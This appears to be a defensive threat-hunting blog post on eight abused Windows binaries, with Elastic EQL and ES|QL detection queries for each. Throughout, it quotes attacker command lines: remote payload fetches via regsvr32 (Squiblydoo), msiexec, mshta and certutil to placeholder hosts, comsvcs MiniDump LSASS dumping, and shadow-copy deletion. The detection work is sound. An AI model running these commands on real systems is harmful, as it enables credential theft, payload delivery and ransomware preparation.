8 LOLBins Every Threat Hunter Should Know

8 LOLBins Every Threat Hunter Should Know

Views: 7

πŸ•΅οΈβ€β™‚οΈ 8 Key LOLBins and Hunting Them with Elastic Security

Elastic
Threat Hunting
MITRE ATT&CK
Windows

🎯 Attackers love tools that are already installed, already signed and already trusted. This post walks through the eight Windows binaries that showed up most often in hands-on-keyboard intrusions during a year-long analysis (July 2021 – June 2022), explains how adversaries bend them, and shows how to hunt each one with Elastic Security using EQL, ES|QL and detection rules.


πŸ“š Table of Contents

  1. Why LOLBins matter
  2. What is a LOLBin?
  3. The big picture
  4. Hunting with Elastic: setup and approach
  5. Rundll32
  6. Regsvr32
  7. Msiexec
  8. Mshta
  9. Certutil
  10. MSBuild
  11. WMIC
  12. WmiPrvSE
  13. From hunt to detection rule
  14. Conclusion

πŸ”₯ Why LOLBins matter

LOLBin stands for living-off-the-land binary. These programs are legitimate parts of the operating system, yet they offer both documented and surprising ways to run code, fetch files or change settings. That mix makes them a favourite in interactive intrusions, where a human operator is typing commands on a victim machine. It also makes them great hunting targets: if you catch the abuse early, you catch the intruder before the damage is done.

The research behind this post covered eight binaries seen again and again in the wild:

#BinaryOne-line summary
1🧩 Rundll32Runs exported functions from DLL files
2πŸ“ Regsvr32Registers/unregisters DLLs and COM components
3πŸ“¦ MsiexecInstalls MSI packages, can also register DLLs
4πŸ“„ MshtaRuns HTML Application (HTA) files and inline script
5πŸ” CertutilCertificate tool that also downloads and Base64-decodes
6πŸ—οΈ MSBuildThe .NET build engine, can compile and run code
7πŸ› οΈ WMICCommand-line front end for WMI
8βš™οΈ WmiPrvSEThe process that actually carries out WMI work

πŸ€” What is a LOLBin?

The community-driven LOLBAS project describes a LOLBin as a binary with unexpected, often undocumented, functionality. For this article we use a slightly broader working definition:

A LOLBin is a Windows-native binary used in subversive, unexpected or impactful ways.

Where a technique maps to MITRE ATT&CK, the ID is shown next to it, for example T1218.011 for System Binary Proxy Execution: Rundll32.


πŸ—ΊοΈ The big picture

Each binary tends to specialise. The matrix below shows what adversaries typically use them for.

BinaryCompileDecodeDownloadExecuteModify settingsRecon
Rundll32βœ…
Regsvr32βœ…
Msiexecβœ…
Mshtaβœ…
Certutilβœ…βœ…βœ…
MSBuildβœ…βœ…
WMICβœ…βœ…βœ…
WmiPrvSEβœ…

Notice how execution is the common thread. Certutil and WMIC are the Swiss army knives of the group.


🧰 Hunting with Elastic: setup and approach

πŸ“‘ Telemetry you need

SourceWhat it gives youTypical index pattern
Elastic DefendProcess, file, network, registry and library events with full command lineslogs-endpoint.events.*
Sysmon via Elastic AgentEvent ID 1 (process), 3 (network), 11 (file), 7 (image load)logs-windows.sysmon_operational-*
Winlogbeat / Windows Security logProcess creation (4688, needs command-line auditing) and scheduled task events (4698)winlogbeat-*, logs-system.security-*

The queries in this post use ECS field names so they work across all three. Adjust the index patterns to match your environment.

πŸ”Ž Core ECS fields

FieldMeaning
process.nameImage name, for example rundll32.exe
process.command_line / process.argsFull command line / argument array
process.parent.nameParent image name
process.pe.original_file_nameName embedded in the PE header, handy against renamed binaries
host.idUnique host identifier, used to count prevalence
event.category, event.typeUse process + start for process launches

πŸ“‰ Rarity-first hunting

Most LOLBin activity in your estate is boring and legitimate. Attackers are rare. So many of the hunts below follow one recipe: stack by command-line features and keep the combinations seen on only a handful of hosts. In Elastic you can do this in three ways:

  1. ES|QL STATS ... BY with COUNT_DISTINCT(host.id) and a WHERE filter on low host counts.
  2. New Terms detection rules, which alert the first time a value (such as a DLL path or parent/child pair) appears in a time window.
  3. Machine learning jobs for anomalous process behaviour when you want baselining done for you.

Once a result looks interesting, pivot into the Analyzer (process tree) or a Timeline to see what spawned it and what it spawned.

Hunt loop

⚠️ Every query is a starting point. Tune for your environment, exclude known software deployment tooling, and test before enabling as an alert.


🧩 1. Rundll32

πŸ“– What it does

DLLs cannot run on their own, so Microsoft ships rundll32.exe to call a specific function inside one. It handles 32-bit and 64-bit DLLs despite the name. The syntax is:

  • The path can be absolute, relative or a network path.
  • The file extension is irrelevant; it must simply be a valid DLL.
  • The entry point is a function name or an ordinal such as #123.
  • Arguments are optional.

🦹 How adversaries abuse it

Rundll32 abuse
PatternWhat happensWhy it works for the attacker
Own DLLA custom DLL is dropped and launched through Rundll32Signed Microsoft host process, may slip past application allowlisting
Legit DLL, attacker inputadvpack.dll (LaunchINFSection) is pointed at a script component (SCT) fileTrusted binary loads a trusted DLL, malicious logic lives in plain text
Legit DLL, built-in featurecomsvcs.dll exports MiniDump (ordinal 24) to dump process memory, notably lsass.exeNothing foreign is dropped, so it is effectively fileless and avoids tools like Mimikatz

Real-world colour:

  • WIZARD SPIDER used a malicious VBScript to drop DLLs with randomised extensions, carrying a Cobalt Strike payload.
  • WICKED PANDA is a frequent user of the comsvcs.dll credential-dumping trick.

Attackers also disguise the MiniDump call with different syntaxes: a named export, a bare comsvcs without the extension, the ordinal #24, zero-padded ordinals like #00000024, or a plus-prefixed #+24. Any hunt keyed only on the string MiniDump will miss these.

🎯 Hunting with Elastic

A. Rare DLL and entry-point combinations (ES|QL)

B. Rundll32 started by Office apps or script hosts (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "rundll32.exe" and
  process.parent.name : ("winword.exe", "powerpnt.exe", "excel.exe", "outlook.exe",
                         "mshta.exe", "cscript.exe", "wscript.exe") and
  not process.command_line : ("*PrintUI.DLL*", "*PhotoViewer.DLL*",
                              "*MonitorPrintJobStatus*", "*CheckDevice*")

C. Rundll32 as a persistence payload via scheduled tasks (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "schtasks.exe" and
  process.command_line : ("*/create*", "*-create*") and
  process.command_line : "*rundll32*"

If you collect Security log event 4698 (a scheduled task was created), you can also inspect the task definition in winlog.event_data.TaskContent for rundll32.

D. Credential dumping through comsvcs (EQL)

process where host.os.type == "windows" and event.type == "start" and
  (process.name : "rundll32.exe" or process.pe.original_file_name : "RUNDLL32.EXE") and
  process.command_line : "*comsvcs*" and
  process.command_line : ("*minidump*", "*#24*", "*#+24*", "*#0*24*")

βž• More ideas

  • Rundll32 with no DLL reference, or with odd file names/extensions
  • Suspicious parents or children
  • Ordinals instead of function names
  • Outbound network connections from rundll32.exe
  • Autostart locations (Run keys, services, tasks) that reference Rundll32

πŸ“ 2. Regsvr32

πŸ“– What it does

Regsvr32 registers and unregisters DLLs and ActiveX controls, writing the registry entries other programs rely on. It calls the DllRegisterServer export on registration and DllUnregisterServer with /u.

regsvr32 c:\folder\file.dll
regsvr32.exe /s "C:\Program Files\Mozilla Firefox\AccessibleHandler.dll"

/s runs silently, /u unregisters, and /i passes an install string. Like many Windows binaries, Regsvr32 honours proxy settings and can reach out to remote resources.

🦹 How adversaries abuse it

This is classic T1218.010 proxy execution, popular for dodging application allowlisting.

PatternExample ideaNotes
Malicious DLLsregsvr32 "c:\1.dll", 2.dll, 3.dll… in the root of C:Suspected Cobalt Strike payloads, run with valid credentials
Scheduled-task persistenceA task named innocuously, running regsvr32.exe /i c:\programdata\<name>.dll dailyWIZARD SPIDER used /TN, /RU, /SC, /ST to blend in
Squiblydooregsvr32 /u /n /s /i:http://<ip>/start_ps.sct scrobjscrobj.dll executes COM scriptlets (.sct, XML with VBScript/JScript) straight from a URL, no download step

Squiblydoo went quiet in early 2021 but returned in late 2021 and 2022, with CARBON SPIDER and other eCrime groups using it. Many products block it, yet it keeps being tried.

🎯 Hunting with Elastic

A. DLLs loaded from user-writable or network paths (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "regsvr32.exe" and
  process.command_line : ("*:\\Users\\*.dll*", "*:\\ProgramData\\*", "*\\Temp\\*",
                          "*\\Downloads\\*", "*\\Users\\Public\\*", "* \\\\*") and
  not process.command_line : "*\\Program Files*"

B. Rare Regsvr32 command lines (ES|QL)

FROM logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, winlogbeat-*
| WHERE event.type == "start" AND TO_LOWER(process.name) == "regsvr32.exe"
| EVAL cmd = TO_LOWER(process.command_line)
| STATS hosts = COUNT_DISTINCT(host.id), events = COUNT(*), parents = VALUES(process.parent.name) BY cmd
| WHERE hosts < 5
| SORT hosts ASC, events ASC

C. Squiblydoo (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "regsvr32.exe" and
  process.command_line : "*scrobj*" and
  process.command_line : ("*/i:*", "*-i:*")

D. Regsvr32 making outbound connections (EQL)

network where host.os.type == "windows" and process.name : "regsvr32.exe" and
  network.direction : ("egress", "outgoing")

βž• More ideas

  • No DLL in the command line, odd extensions
  • Unexpected child processes
  • Autostart entries or scheduled tasks pointing at Regsvr32

πŸ“¦ 3. Msiexec

πŸ“– What it does

Msiexec is the engine behind Windows Installer. It reads MSI packages (files describing files, registry data, features and updates) and performs the installation.

msiexec.exe /i "c:\folder\file.msi" /qn
  • /i installs, /qn means no user interface.
  • The package location can be local, a network share, or an http(s) URL.
  • The extension does not have to be .msi.
  • Msiexec can also register DLLs with /y and unregister them with /z, mirroring Regsvr32.

🦹 How adversaries abuse it

PatternWhat was seenTakeaway
Unauthorized MSIAn eCrime actor staged setup.msi on the desktop, likely a remote administration tool installerDouble-clicking an MSI launches Msiexec, so the command line looks “normal”
Remote payloadmsiexec /q /i http://<ip>:8080/<file>.exeFetches content directly from attacker infrastructure
Quiet install at scale/i "<tool>.msi" /quiet /norestart plus a custom password parameter on many hostsPre-ransomware tooling (scanners, remote admin), later a registry tweak to run the service in Safe Mode with networking
DLL registrationmsiexec /y <file>.dll, later msiexec /y \\<host>\C$\temp\...\<file>.dllUsed against a pharmaceutical company; the second DLL injected into a legitimate Windows binary

🎯 Hunting with Elastic

A. Msiexec with a remote destination (ES|QL)

FROM logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, winlogbeat-*
| WHERE event.type == "start" AND TO_LOWER(process.name) == "msiexec.exe"
    AND process.command_line RLIKE ".*https?:.*"
| GROK process.command_line """(?i)[-/][ix]\s*"?(?<url>https?:[^"\s]+)"""
| STATS hosts = COUNT_DISTINCT(host.id), events = COUNT(*) BY url
| WHERE hosts < 5
| SORT hosts ASC, events ASC

B. DLL registration through Msiexec (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "msiexec.exe" and
  process.args : ("/y*", "-y*", "/z*", "-z*") and
  not process.parent.name : "msiexec.exe"

βž• More ideas

  • Rare child processes of Msiexec
  • Rarely used switches such as /q combined with unusual sources
  • Package files with unexpected extensions (masquerading)

πŸ“„ 4. Mshta

πŸ“– What it does

Mshta runs HTML Application (.hta) files: HTML plus JScript or VBScript. It is also the default handler when you double-click an HTA, supports remote URLs through the proxy, and can run inline script from the command line:

mshta.exe C:\Folder\File.hta
mshta.exe vbscript:(CreateObject("WScript.Shell").Run("example.exe",0))(Window.Close)

🦹 How adversaries abuse it

Another T1218.005 classic, in three flavours:

FlavourExampleDetails
Local contentmshta.exe "C:\Users\<user>\Downloads\Invoice.hta"Invoice-style names to entice users. HTAs also land on the Desktop and in AppData\Local\Temp. In one case the HTA wrote a DLL that was then wired into a COM application for persistence
Remote contentmshta http://<ip>/1.htaNo script written to disk. Seen after a public web server was exploited, alongside PowerShell and Msiexec attempts, then a Powercat reverse shell
Inline scriptmshta.exe "about:<hta:application><script>...eval(new ActiveXObject(...).regread(...))...</script>"Reads code from a registry value and evaluates it, so the HTA is never on disk. Seen during ransomware preparation

Two evasion tricks stand out in the inline example:

  • resizeTo(0,2) shrinks the Mshta window to an invisible sliver.
  • moveTo(-900,-900) pushes the window off-screen.

Single-digit window sizes or negative coordinates in a Mshta command line are strong suspicion markers. The about:, vbscript: and javascript: prefixes tell you the script is embedded in the command itself.

🎯 Hunting with Elastic

A. HTA file execution without inline script (ES|QL)

FROM logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, winlogbeat-*
| WHERE event.type == "start" AND TO_LOWER(process.name) == "mshta.exe"
    AND NOT process.command_line RLIKE "(?i).*(vbscript|about:|javascript:).*"
    AND NOT process.command_line RLIKE "(?i).*-embedding.*"
| EVAL cmd = TO_LOWER(process.command_line)
| STATS hosts = COUNT_DISTINCT(host.id), events = COUNT(*) BY cmd
| WHERE hosts < 15
| SORT hosts ASC, events ASC

B. Remote content (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "mshta.exe" and
  process.command_line : ("*http://*", "*https://*", "*\\\\*\\*.hta*")

C. Hidden or off-screen windows (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "mshta.exe" and
  process.command_line : ("*resizeTo*", "*moveTo*")

D. Inline script (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "mshta.exe" and
  process.command_line : ("*vbscript:*", "*javascript:*", "*about:*")

βž• More ideas

  • Suspicious child processes of Mshta (cmd, PowerShell, rundll32, regsvr32)
  • HTA files in Downloads, Temp or Desktop with document-style names

πŸ” 5. Certutil

πŸ“– What it does

Certutil manages certificates and certificate authority configuration, with 80+ options. Two features unrelated to certificates make it an attacker favourite:

Base64 encode and decode

certutil -encode file.txt encoded.txt
certutil -decode encoded.txt decoded.txt

The output of -encode is wrapped in BEGIN CERTIFICATE and END CERTIFICATE markers, which makes the file look innocuous.

URL cache download

certutil -urlcache -split -f https://example.org/file.ext downloaded.ext

It was meant for cached certificate revocation list URLs, but it will fetch any file, and it respects the proxy.

🦹 How adversaries abuse it

Certutil is described as an adversary mainstay, with three main uses:

UseExampleWhy
⬇️ Download (ATT&CK T1105)certutil.exe -urlcache -f http://temp[.]sh/<file>.dll %temp%\<file>.dll, later run through Rundll32Pulls payloads from file-sharing sites. A China-nexus actor even served payloads from a compromised internal web server and saved them as chrome.exe
πŸ”€ Encode/decode (T1140)Encode an LSASS dump before exfiltration; decode a Base64 text file into a .jsp web shellDefeats signature-based AV and YARA rules, works over plain-text-only channels
πŸ“œ Certificate management (T1553.004)certutil -addstore -f root C:\WINDOWS\temp\cert.cerNEMESIS KITTEN installed a rogue root certificate that impersonated Microsoft, then ran a self-signed binary masquerading as dllhost.exe with no security warnings

Also worth knowing: PROPHET SPIDER wrote a Base64 text file via echo on a Tomcat server, decoded it to .jsp with Certutil and got a persistent web shell. Using echo avoided any download that might have been detected.

🎯 Hunting with Elastic

Certutil has many legitimate uses, so favour precise hunts and tune out your known-good activity.

A. Downloads (EQL)

process where host.os.type == "windows" and event.type == "start" and
  (process.name : "certutil.exe" or process.pe.original_file_name : "CertUtil.exe") and
  process.command_line : ("*urlcache*", "*verifyctl*", "*http:*", "*https:*", "*ftp:*")

B. Encoding and decoding (ES|QL, rarest first)

FROM logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, winlogbeat-*
| WHERE event.type == "start" AND TO_LOWER(process.name) == "certutil.exe"
    AND process.command_line RLIKE "(?i).*[-/](encode|decode|encodehex|decodehex).*"
| EVAL cmd = TO_LOWER(process.command_line)
| STATS events = COUNT(*), hosts = COUNT_DISTINCT(host.id), parents = VALUES(process.parent.name) BY cmd
| SORT events ASC

C. Root certificate installs (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "certutil.exe" and
  process.command_line : "*addstore*" and process.command_line : "*root*"

D. Files written to disk by Certutil (EQL)

file where host.os.type == "windows" and event.action : ("creation", "overwrite") and
  process.name : "certutil.exe" and
  file.extension : ("exe", "dll", "ps1", "jsp", "aspx", "bat", "vbs", "js")

βž• More ideas

  • Network connections initiated by certutil.exe
  • Suspicious parent processes spawning Certutil
  • Renamed copies (compare process.name with process.pe.original_file_name)

πŸ—οΈ 6. MSBuild

πŸ“– What it does

msbuild.exe is the Microsoft Build Engine, found under C:\Windows\Microsoft.NET\Framework\ and also with Visual Studio. It takes an XML project file (also .sln, .proj, .csproj, or really any extension) that can contain source code, dependencies, resources and even commands to run before or after the build.

msbuild.exe project_file.xml
msbuild.exe project_file.xml /logger:c:\path\to\logger.dll
msbuild.exe @file.rsp

Features worth remembering:

  • Switches such as -verbosity, -property and -target
  • /logger loads a DLL that implements a logger class
  • Response files (.rsp) hold arguments, so they vanish from the visible command line
  • Absolute, relative and network paths are all accepted

🦹 How adversaries abuse it

ModeWhy attackers like it
Compile on the victimNo executable has to be downloaded or written by, say, an Office macro, so rules that block executables from Office never fire. The locally built binary also has no mark-of-the-web and a unique hash
Run code through a trusted binaryProject files can hold pre/post-build commands, inline tasks (C# or VBScript) and XSL transformations, all executed inside signed msbuild.exe
/logger DLL loadingAny DLL gets loaded and run on behalf of MSBuild
.rsp filesHide arguments such as /logger from command-line logging
Blends inLegitimate MSBuild runs are noisy, so malicious ones are easy to overlook

Observed examples:

  • msbuild.exe \\tsclient\c\1.xml compiled a DLL from a project file on the TSCLIENT share (the RDP drive-redirection share), so nothing touched the victim’s disk. The DLL was then launched with Rundll32.
  • A China-nexus actor put a project file in C:\Windows\ and created a scheduled task (/sc onstart) that launched MSBuild against it at every boot.
  • An attacker tried an inline task containing a C# Mimikatz so that it ran entirely inside msbuild.exe with no child process. The attempt was stopped by endpoint protection.

🎯 Hunting with Elastic

A. Rare children of MSBuild (ES|QL)

FROM logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, winlogbeat-*
| WHERE event.type == "start" AND TO_LOWER(process.parent.name) == "msbuild.exe"
    AND TO_LOWER(process.name) != "msbuild.exe"
    AND NOT process.executable RLIKE "(?i).*(Microsoft Visual Studio|Windows Kits).*"
| STATS hosts = COUNT_DISTINCT(host.id), events = COUNT(*), users = VALUES(user.name),
        cmds = VALUES(process.command_line) BY process.name
| WHERE hosts < 5
| SORT hosts ASC, events ASC

B. Logger usage (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "MSBuild.exe" and
  process.command_line : ("*/logger:*", "*-logger:*", "*/l:*", "*-l:*")

C. Project files from remote or redirected locations, or via response files (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "MSBuild.exe" and
  (process.command_line : ("*\\\\tsclient\\*", "*http*://*", "*\\\\*\\*.xml*") or
   process.args : "@*")

D. MSBuild writing executables (EQL)

file where host.os.type == "windows" and event.action : ("creation", "overwrite") and
  process.name : "MSBuild.exe" and file.extension : ("exe", "dll") and
  not file.path : ("?:\\Users\\*\\source\\*", "?:\\*\\obj\\*", "?:\\*\\bin\\*")

βž• More ideas

  • Unexpected parents (Office, script hosts, WMI) or users (non-developers, non-service accounts)
  • Project files with odd extensions or in system folders like C:\Windows
  • MSBuild launched by scheduled tasks or services

πŸ› οΈ 7. WMIC (WMI Command-line Utility)

🧠 A quick WMI primer

Windows Management Instrumentation (WMI) is Microsoft’s implementation of WBEM, a set of management technologies built to unify administration of distributed environments. Admins use it to query information and run processes locally or remotely. Adversaries use it for execution, data destruction, configuration changes and reconnaissance.

πŸ“– What it does

wmic.exe exposes WMI through simple command-line aliases. It has been deprecated since Windows 10 and removed from recent Windows 11 builds, but is still present by default on many systems.

wmic process call create notepad

This calls the create method of the Win32_Process class through the process alias.

🦹 How adversaries abuse it

CategoryExamplesNotes
ExecutionRemote process call create using /node, /user, /passwordLateral movement with valid credentials, often scripted across many hosts. WIZARD SPIDER used similar mass execution to run BazarLoader before ransomware
Execution of ntdsutilCreate an IFM snapshot of the AD database on a remote domain controllerGives access to ntds.dit and every domain password hash. Used by China-nexus actors
XSL abuse (T1220)wmic os get /FORMAT:<file>.xsl or a remote URLThe stylesheet embeds JScript/VBScript. The class alias is irrelevant, the /FORMAT switch triggers execution and the child shows wmic.exe as its parent. XSL files may be named after real format specifiers like LIST or HFORM to blend in
Data destruction (T1490)wmic shadowcopy deleteWipes volume shadow copies before ransomware detonation
System configurationrdtoggle alias to toggle Remote Desktop, UserAccount ... Set PasswordExpires="false"Enables lateral movement and long-term persistence
Host reconnaissancelogicaldisk, computersystem, os, process queries filtered by nameOutput often redirected to files in C:\Users\Public\

🌳 What the telemetry looks like

🎯 Hunting with Elastic

A. Remote process creation through WMIC (ES|QL)

FROM logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, winlogbeat-*
| WHERE event.type == "start" AND TO_LOWER(process.name) == "wmic.exe"
    AND process.command_line RLIKE "(?i).*/node:.*"
    AND process.command_line RLIKE "(?i).*process.*call.*"
| GROK process.command_line """(?i)/node:"?(?<remote_host>[^\s"]+)"?"""
| EVAL cmd_no_node = REPLACE(process.command_line, """(?i)/node:"?[^\s"]+"?""", "")
| STATS hosts = COUNT_DISTINCT(host.id), remote_hosts = COUNT_DISTINCT(remote_host), events = COUNT(*) BY cmd_no_node
| WHERE hosts < 5
| SORT hosts ASC, events ASC

B. Rare WMIC commands by parent (ES|QL)

FROM logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, winlogbeat-*
| WHERE event.type == "start" AND TO_LOWER(process.name) == "wmic.exe"
| EVAL parent = COALESCE(process.parent.name, "-")
| STATS hosts = COUNT_DISTINCT(host.id), events = COUNT(*) BY parent, process.command_line
| WHERE hosts < 5
| SORT hosts ASC, events ASC

C. Stylesheet execution through /FORMAT (EQL sequence)

sequence by host.id with maxspan=1m
[process where host.os.type == "windows" and event.type == "start" and
process.name : "wmic.exe" and process.command_line : "*/format*" and
not process.command_line : ("*/format:list*", "*/format:csv*", "*/format:table*")]

[process where host.os.type == “windows” and event.type == “start” and process.parent.name : “wmic.exe” and not process.name : (“conhost.exe”, “werfault.exe”)]

D. Ransomware prep and config changes (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.name : "wmic.exe" and
  process.command_line : ("*shadowcopy*delete*", "*rdtoggle*", "*PasswordExpires*false*")

βž• More ideas

  • Suspicious parent processes of WMIC
  • Unusual reconnaissance or configuration commands for the user or host

βš™οΈ 8. WmiPrvSE (WMI Provider Host)

πŸ“– Why it matters

Whenever WMI runs a process, whether locally or remotely, wmiprvse.exe launches it under the right user context. WmiPrvSE is not a LOLBin in its own right, but it is the one place all WMI-driven execution converges. Monitoring its children is valuable because:

  1. When the initiating host is unmanaged (a rogue machine), you may never see the source of the call, yet the child on the target still appears.
  2. WMIC is only one way in. PowerShell’s Invoke-WmiMethod gives the same effect and does not depend on WMIC, which is going away.
powershell -c Invoke-WmiMethod -ComputerName localhost -Class Win32_Process -Name Create -ArgumentList "Notepad.exe"

The telemetry mirrors the WMIC case, with powershell.exe in place of cmd.exe.

🦹 Impacket’s wmiexec.py

Impacket is a Python collection for network protocols. Its wmiexec.py script, which needs admin rights, talks to the target over DCOM (135) and also relies on WinRM ports 5985/5986 for remote services, which results in activity under WmiPrvSE. Its fingerprint is a command line shaped like this:

cmd.exe /Q /c <COMMAND> 1> \\127.0.0.1\ADMIN$\__<digits>.<digits> 2>&1

Output is written to a file on the ADMIN$ share and read back through a semi-interactive shell. Attackers have used it to run the Rundll32 comsvcs MiniDump trick remotely.

🎯 Hunting with Elastic

A. Rare children of WmiPrvSE (ES|QL)

FROM logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, winlogbeat-*
| WHERE event.type == "start" AND TO_LOWER(process.parent.name) == "wmiprvse.exe"
    AND NOT process.command_line RLIKE "(?i).*(windows\\\\ccm\\\\systemtemp\\\\.+\\.(ps1|vbs)|windows\\\\temp\\\\.+\\.mof).*"
| STATS hosts = COUNT_DISTINCT(host.id), events = COUNT(*), cmds = VALUES(process.command_line) BY process.name
| WHERE hosts < 5
| SORT hosts ASC, events ASC

The exclusion removes common benign management-agent noise; adjust it to your own tooling.

B. Wmiexec-style output redirection (EQL)

process where host.os.type == "windows" and event.type == "start" and
  process.parent.name : "WmiPrvSE.exe" and
  process.command_line : "cmd.exe /Q /c * 1> \\\\127.0.0.1\\ADMIN$\\__* 2>&1"

C. Lateral movement pairing: inbound DCOM followed by a WMI child (EQL)

sequence by host.id with maxspan=1m
  [network where host.os.type == "windows" and event.type == "start" and
    destination.port == 135 and network.direction : ("ingress", "incoming") and
    not source.ip : ("127.0.0.1", "::1")] by source.ip
[process where host.os.type == "windows" and event.type == "start" and
process.parent.name : "WmiPrvSE.exe"]

(Join keys vary between data sources. If source.ip is not on both events in your data, drop the by source.ip clauses.)

βž• More ideas

  • Suspicious children of WmiPrvSE (shells, script engines, rundll32, ntdsutil)
  • Rare child command lines

πŸ” From hunt to detection rule

A good hunt should not stay a one-off. Here is how to operationalise what you found.

Hunt resultElastic building blockWhy
Precise, high-confidence pattern (Squiblydoo, shadowcopy delete, Mshta resizeTo)EQL ruleLow noise, immediate alerting
“Never seen before” behaviour (first-time DLL path, new parent/child pair)New Terms ruleNative rarity logic, no scheduled stacking query needed
Ordered behaviours (network then WMI child, /FORMAT then child)EQL sequence ruleCorrelates steps within a time window
Count-based abuse (many hosts hit by the same WMIC command)Threshold ruleHighlights mass execution
Broad baseline deviationMachine learning jobLearns what normal looks like
Known-good noise (software deployment, build servers)Rule exceptionsKeeps the rule alive without drowning analysts

Elastic also ships a large library of prebuilt detection rules that already map to many of the behaviours above. Search the rules page for the binary names (rundll32, regsvr32, msiexec, mshta, certutil, msbuild, wmic) and enable what fits your data, then layer your own environment-specific logic on top. Elastic Defend behaviour protection can additionally block some of these chains at the endpoint, and response actions let you isolate a host or kill a process directly from the alert.

🧭 ATT&CK cheat sheet

TechniqueIDBinaries involved
System Binary Proxy Execution: Rundll32T1218.011Rundll32
System Binary Proxy Execution: Regsvr32T1218.010Regsvr32
System Binary Proxy Execution: MsiexecT1218.007Msiexec
System Binary Proxy Execution: MshtaT1218.005Mshta
Trusted Developer Utilities: MSBuildT1127.001MSBuild
Ingress Tool TransferT1105Certutil, Msiexec, Mshta
Deobfuscate/Decode Files or InformationT1140Certutil
Subvert Trust Controls: Install Root CertificateT1553.004Certutil
XSL Script ProcessingT1220WMIC
Windows Management InstrumentationT1047WMIC, WmiPrvSE
OS Credential Dumping: LSASS / NTDST1003.001 / T1003.003Rundll32 (comsvcs), WMIC (ntdsutil)
Scheduled TaskT1053.005Regsvr32, Rundll32, MSBuild persistence
Inhibit System RecoveryT1490WMIC

πŸ‘₯ Threat actors mentioned in the research

Actor (vendor naming)Seen using
WIZARD SPIDERRundll32 DLL drops, Regsvr32 scheduled tasks, WMIC mass execution of BazarLoader
WICKED PANDARundll32 + comsvcs.dll LSASS dumping
CARBON SPIDERSquiblydoo (Regsvr32 + scrobj.dll)
PROPHET SPIDERCertutil decoding of a Base64 web shell
NEMESIS KITTENCertutil root certificate installation
China-nexus clustersCertutil staging, MSBuild persistence, WMIC + ntdsutil

🏁 Conclusion

LOLBins work because they are installed by default, available to every user and designed for legitimate tasks. Adversaries will keep using them, and that is exactly why defenders should know them well.

Key takeaways:

  • 🎯 Command lines are the signal. Most of these binaries are only suspicious because of how they are called.
  • πŸ“‰ Rarity beats volume. Stack, count hosts, and look at what appears on only a few machines.
  • 🌳 Follow the tree. Parents and children (Office to Rundll32, WmiPrvSE to cmd) tell the story faster than any single event.
  • πŸ” Turn hunts into detections. EQL for precision, New Terms for novelty, exceptions for sanity.
  • 🧾 Finish the incident properly. Scheduled tasks, services and registry entries left behind are how adversaries come back.

Understanding how Rundll32, Regsvr32, Msiexec, Mshta, Certutil, MSBuild, WMIC and WmiPrvSE are abused is a strong first step towards defending your network against this kind of activity.


πŸ“Ž Source

This post is based on the CrowdStrike white paper “8 LOLBins Every Threat Hunter Should Know”, with the hunting content rewritten for Elastic Security. Threat actor names follow the original vendor’s naming. All queries are illustrative: validate field names, index patterns and syntax against your Elastic version and tune them before production use.

#LOLBins #ThreatHunting #ElasticSecurity #EQL #ESQL #DetectionEngineering #BlueTeam #MITREATTACK